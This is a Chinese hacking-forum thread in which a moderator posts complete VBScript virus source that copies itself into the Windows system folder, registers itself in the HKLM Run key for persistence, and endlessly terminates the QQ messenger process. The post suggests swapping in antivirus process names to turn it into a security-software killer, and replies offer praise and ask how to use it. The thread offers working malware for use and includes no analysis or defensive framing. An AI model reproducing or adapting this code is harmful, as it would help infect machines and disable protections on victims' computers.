论坛: 病毒专区 标题: 一个让QQ不能启动的病毒源代码 复制本贴地址    
作者: abctm [abctm]    版主   登录
原代码
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\system.vbs")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\system","system.vbs"
do
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'qq.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
loop
把上面的qq.exe改成防病毒软件的进程命就能变成杀防火墙的病毒了

地主 发表时间: 10/20 21:58
回复: qfwuying [qfwuying]      登录
不错，但没试过，我先试试看是否有用再说。不过还是帮你顶下！！！

B1层 发表时间: 10/20 22:31
回复: abctm [abctm]   版主   登录
谢了

B2层 发表时间: 10/20 23:13
回复: cool [zjboyzone]   论坛用户   登录
直接在QQ发去就可以了?

B3层 发表时间: 10/23 09:04
回复: abctm [abctm]   版主   登录
不是

B4层 发表时间: 10/23 13:03
回复: baostation [baostation]   论坛用户   登录
怎么用啊~

B5层 发表时间: 10/23 22:10
回复: abctm [abctm]   版主   登录
这是病毒呀
VBS的

B6层 发表时间: 10/24 08:09
回复: gebishamo [gebishamo]   论坛用户   登录
强

B7层 发表时间: 10/24 15:35

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon

粤ICP备05087286号